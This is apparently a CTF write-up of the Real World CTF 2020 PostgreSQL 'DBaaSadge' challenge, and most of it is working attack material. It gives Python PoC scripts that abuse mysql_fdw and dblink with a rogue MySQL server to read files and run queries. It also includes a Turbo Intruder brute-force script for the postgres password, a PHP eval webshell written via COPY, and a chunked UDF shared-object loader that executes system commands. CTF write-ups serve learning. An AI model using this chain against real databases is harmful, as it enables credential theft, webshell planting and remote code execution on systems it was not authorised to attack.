I just played the RWCTF competition yesterday. I think the topic is very good. At least in this environment, postgre is the weakness of most Web players, and there are no automated testing tools in the circle, so writing this WP is still necessary.
Since most of the key technical points are the relatives in my team-the fish did it first, so here is the wp from the other's blog (Brother fish, remember to shoot me when you see it)
https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426
This question learned not only postgre knowledge, but also burpsuite BApp and md5crack. Here is an analysis and summary for all students.
This article involves practical exercises on knowledge points: using burp to brute force (through this experiment to master the configuration method of burp and the use of related modules, use burp to brute force a virtual website to make the site builder from the perspective of the *** To analyze and avoid problems to strengthen website security.)
Reproduction environment download
链接:https://pan.baidu.com/s/1TKQ5UYh55KcYQVQKG-CAwA
提取码:kwck
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享
Source code analysis
Open the title and display the source code directly
<?php
error_reporting(0);
if(!$sql=(string)$_GET["sql"]){
show_source(__FILE__);
die();
}
header('Content-Type: text/plain');
if(strlen($sql)>100){
die('That query is too long ;_;');
}
if(!pg_pconnect('dbname=postgres user=realuser')){
die('DB gone ;_;');
}
if($query = pg_query($sql)){
print_r(pg_fetch_all($query));
} else {
die('._.?');
}
This source code is not difficult to understand. The main thing is that you enter a sql parameter through get, and then he will directly use the input as a parameter of pg_query, and then return the result. If it runs correctly, it will print the result, and if it is wrong, it will display emoji. The sql input is limited to 100 bytes.
In the first step, we must set up an environment by ourselves, so that we can type out errors and facilitate debugging
The way to enter the postgre interactive command line is
psql
If you get an error at this step, please switch to the postgres user and do it again
The error reporting function of pg_query is:
print_r(pg_fetch_all($query));
So we add this function to the last else
In this way, as long as we input an error, what is displayed is the error when the specific sentence is inquired.
Next we first look at the version and user of this postgre
This is very important. Although it is included in the dockerfile, if other topics are not given to docker in the future, you can use these two statements to query the postgre version of the topic.
select user;
select version();
According to docker, we can know that this realuser is not a superuser. If it is a superuser, you can getshell directly in many ways on the network. Nosuperuser currently cannot getshell, so the goal is very clear, that is, to raise the authority, and then execute the getshell command normally.
After checking, our team felt that it might be the bypass of the cve patched before 10.15, but the research found that the cve was a pwn, and the title clearly indicated that it was a web issue, so we gave up on this path
Then we saw in the dockerfile given by the title that he installed two extensions
In the document, CREATE EXTENSION means to install postgre extension
Among them, the function of dblink extension in postgresql is to operate another remote database in one database
select dblink_connect('连接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword');
The mysql_fdw extension is used to quickly access data in MySQL in Postgre, that is, to provide Postgre with an external Mysql access method
So our dear fish thought of rouge-mysql
This test site is relatively common in CTF. You can read arbitrary files by connecting the subject to your own MySQL malicious server (I didn't expect it)
Download the script from here
https://github.com/allyshka/Rogue-MySql-Server
There are two versions, py version and php version, the php version is recommended here
There are three reasons why the py version is not good:
1. 后台监听且不回显
(你说你监听就监听吧,还弄了个后台监听,运行完没有回显,搞半天以为我运行出错)
2. 结果在同目录下的一个mysql.log文件里,差点没找到。
3. 每次读取还得自己改一下源码里面的文件名
The php version is very user-friendly, enter the file name dynamically, and then directly echo it on the screen.
You can refer to this website for how to use postgre's mysql_fdw. There are practical examples above:
https://blog.csdn.net/bingluo8787/article/details/100958098
We don’t need to create such a big table, just fill in an id int.
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');
select * from test;
DROP SERVER mysql_server
The last drop is because if the same Servername is used twice before and after, it will always report that the servername exists. Similar to the database in mysql, it will always report that it exists. Therefore, we drop it every time we run it, and the province keeps changing it.
The last poc read is as follows:
import requests
import hashlib
import random
import uuid
url ="http://54.219.197.26:60080/?sql="
#填你的IP
ip="***"
port="***"
server_name="aaaa"
dbname=server_name
Table_name=server_name
poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
#poc2里填写你自己mysql的用户名密码
poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
Monitor php mysql.php on our server, then run poc to read the server file remotely
Then the problem is coming. The problem is given to the dockerfile. It is useless to read it. I don't know if there is no file.
At this time, the watershed came out when I did the questions with Brother Yu, and it was really not as good as others.
my thoughts
Look for loopholes in the configuration of the conf file to see if you can log in to the superuser account without a password. After PostgreSQL is installed on the UNIX platform, PostgreSQL will create a user named "postgres" in the UNIX system. The default username and database of PostgreSQL is also "postgres", and this is a superuser
But our person who asked the question thoughtfully changed the postgres password to a 5-digit random string every time docker restarted.
However, I learned from the Internet that if you configure the host to trust in pg_hba.conf, you can log in without password, and then traverse and search the location of the pg_hba.conf file in docker, and find it in /etc/postgresql/10/ Under main, after reading:
Obviously, you can’t log in. When I got here, I started to want to crack the password
The blasted poc is
http://ip/?sql=SELECT%20dblink_connect(%27hostaddr=127.0.0.1%20port=5432%20dbname=postgres%20%20user=postgres%20password=aaaaa%27);
If the connection is successful, the web page will be echoed
Array
(
[0] => Array
(
[dblink_connect] => OK
)
)
Errors are echoed emoji
When blasting, I used the Turbo intruder of burpsuite
Turbo introduction
Unlike ordinary intruder, this speed is almost 10 times faster than the original version
I believe many people are still using intruder (let's change it, it's really slow)
Each burp comes with an Entender label, and there is a BAppStore in it. There are many plug-ins that can be installed. Later, I will post a special article about these plug-ins. The Turbo used this time is also in it. Just click to install. it is good
Of course, due to various reasons, many people’s versions directly click install and there is no response for a long time, because they cannot connect to foreign servers, so here I will give you a website to download the plug-in installation package.
https://portswigger.net/bappstore
This URL can be downloaded to the latest plug-in in the list, all installation packages are at the end of .bapp, and then click Manual install in the burp page just now to install the accessory.
The main usage is as follows. After intercepting the package, there is a send to Turbo intruder button on the right button, which is relatively hidden. Just take a look.
Then when blasting, you need to fill in the py function in the box
If you blast a single password, you can use the method of blasting the verification code on the Internet, and copy the following into the box (the scripts are all ready-made, search a bunch on the Internet):
from itertools import product
def brute_veify_code(target, engine, length):
pattern = '1234567890abcdefghijklmnopqrstuvwxyz'
for i in list(product(pattern, repeat=length)):
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
brute_veify_code(target, engine, 6)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
if 'error' not in req.response:
table.add(req)
Then use %s to indicate the position that needs to be blasted in the url
This speed is really fast, about 4000 per second
If it is a simple blasting, it will be much faster, but it turns out that the personal computer can't support it in a large-scale blasting.
Then the 60 million passwords in this question exploded the memory and bandwidth of my computer...
Brother Yu's practice
How can I say that people are very smart. I think of analogy to mysql. The password storage method in mysql is landing, just in the directory location of the data_directory variable. Then, in the same way, enter the docker and query the system variables, and you can see the postgre Password storage location
Here is the interactive command line of postgre
The command to enter the interactive command line of postgre is
psql
You can also use
psql -c "commond"
To execute commands directly, just like mysql
But if you are a root user and have not configured it, you cannot directly enter psql under root, and the following error will occur:
So we have to switch to postgres user
Then we query system variables
Let me talk about the exit method of psql. If you find it troublesome, just ctrl+d forcibly exit
Then we entered the directory and found a bunch of files
How to find the password file? I saw that the conf file is md5 encrypted.
Here I teach you a command egrep that is convenient for finding the contents of files
egrep -r "内容" 目录
The content part supports regular expressions
Finally found in global/1260
Provide a tool for blasting md5, this is really fast:
http://c3rb3r.openwall.net/mdcrack
Blasting method reference
http://www.91ri.org/1285.html
Soon, he came out directly, the first 5 digits are the password, the last is the user name
Remember the role of the dblink extension, used to connect to the postgre database.
Then we can log in superuser directly with dblink
So the remaining problem is the issue of executing commands with superuser
As long as you can execute the following sentence, you can write *** into the directory. If the web directory is not 777, then you can write a udf to /tmp.
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);
But the problem comes again. It is a new connection every time and cannot maintain the last connection status. Because it is not a command line interaction, we must type all poc in one line, but it is limited to 100 bytes. This is a headache. Brother Yu and I are thinking about how to get around this length restriction.
Then there is a watershed for the team to do the problem, the difference between the master fish and the ordinary ctfer small s.
my thoughts
Since I have written mysql stored procedures before, it is clear that as long as it is a database, a complex statement can be encoded and stored in a stored procedure, and then called the next time, so as to avoid the problem of two connections not maintaining state .
For students who have no concept, please refer to the online comment on Qiangwang Cup, or refer to my previous article posted on Hetian.
So I experimented with the postgre stored procedure, and it was very fast, because this is really familiar
As long as you send two requests as shown in the figure, you can call the select statement in the d function
But I still want to make it simple, because the stored procedure can be written separately in the command line, even if it is two connections, it can be written, but the carriage return in the url is not recognized when it is passed into the postgre backend, so it cannot Write separately, so the 100-character limit still cannot be bypassed. So this method does not work.
But this is not to say that this method is useless. If this is not the length limit of postgre but sensitive character filtering, then a stored procedure must be used. (The Last Dignity TT)
Brother Yu's thoughts
Brother Yu thinks of sub-queries, by writing the poc statement into a table of his own mysql server, and then selecting it when using the mysql_fdw extension to connect to the mysql server remotely.
可以将
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);
变形为
SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);
The first select is to connect, and the second is to execute commands.
Adjust the poc as follows, adjust the subquery table name b and column name s, m, and then change the servername to a66_server, and t9 as the subquery alias:
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
First create a b database on your own server, and then create a b table, which contains the s field and the m field, and then the two fields store two poc, one for connection and one for execution
The pothole is here again!
This place must not use longtext or other text types to declare these two fields because you want to make it longer, because the following error will be reported when postgre queries from mysql:
The specific cause has not been analyzed yet.
The maximum length of varchar is 65535, but due to different computers, the maximum length may be set differently. I can only set a maximum of 45000 here.
Poc to be written to mysql
drop table b;
create table b(s varchar(20000),m varchar(44000));
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $$<?=@eval($_REQUEST[3]);?>$$) to $$/tmp/smity.php$$;');
It's almost as follows after it is set
Then poc:
import requests
import random
import uuid
url ="http://IP/?sql="
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
Then a file was written in the /tmp directory opposite
The subject here does not have 777 permissions to /var/www/html. So we have to consider writing udf under /tmp to execute commands
This is a fixed usage
reference
https://blog.csdn.net/qq_33020901/article/details/79032774
Please go directly to the last part of this article, because the previous part of using the environment to compile I feel too troublesome, just use the source code on github to compile
The general process is as follows:
- According to the major version of the topic postgre, compile a conforming version
.so
.so
Split the file into sql statements, just like writing the php file before, and then write it to your own mysql database- Send poc to let the opposite server come to us to query the statement and execute it
udf.so
Compilation process
Go to this page to download the compiler program
https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys
Then enter the topic docker
Install a postgre-server-dev first, otherwise there are not many header files.
apt install postgresql-server-dev-all
Then in the downloaded Makefile, add a compilation of version 10, copy the following directly, and then modify the directory in the first sentence. If your directory is wrong, go to /usr/ to see how much it is, just find / The postgre directory in usr is sufficient, and it will be created automatically without having to care about the existence of the server.
Then copy the downloaded to docker
make 10
Once compiled, you will find a lib_postgresqludf_sys.so generated in the same directory
Leave him alone if you report an error
This is what we needudf.so
Then sharding
Because in postgresql high version processing, if the blocks are less than 2048, the default will be 0 to fill the block to 2048 bytes, which will cause file damage or upload failure
Use python script to split udf.so file
Python
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 2048 == 0:
print "\n"
fileobj.close()
There will be 6 large blocks, divided into 6 sentences, which are the same as those on the reference page
https://blog.csdn.net/qq_33020901/article/details/79032774
SELECT lo_create(9023);
insert into pg_largeobject values (9023, 0, decode('...');
insert into pg_largeobject values (9023, 1, decode('...');
insert into pg_largeobject values (9023, 2, decode('...');
insert into pg_largeobject values (9023, 3, decode('...');
insert into pg_largeobject values (9023, 4, decode('...');
insert into pg_largeobject values (9023, 5, decode('...');
SELECT lo_export(9023, '/tmp/testeval.so');
Experiments have proved that setting varchar (44000) is absolutely sufficient to write to the mysql database. Don’t worry about length
Then delete the original table and re-add
drop table b;
create table b(s varchar(20000),m varchar(44000));
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into......
Then run the poc just now and write /tmp/testeval.so
After writing so, we need to execute the following sql statement to execute the command
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
The original reference site has one
drop function sys_eval;
It should be a mistake, it can't run after adding this
Empty the mysql data table on our server again and re-establish
drop table b;
create table b(s varchar(20000),m varchar(44000));
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");
Then run poc again to get the flag
to sum up
There are a lot of web masters in the team this time, and there are other methods. Brother Yu also posted his blog. If you are interested, you can check it out.
https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426
In general. The rw web topic this time is very good. Among them, java and postgre are the weaknesses of the current ctf environment. Once you take the test, you still have to make up for things other than php.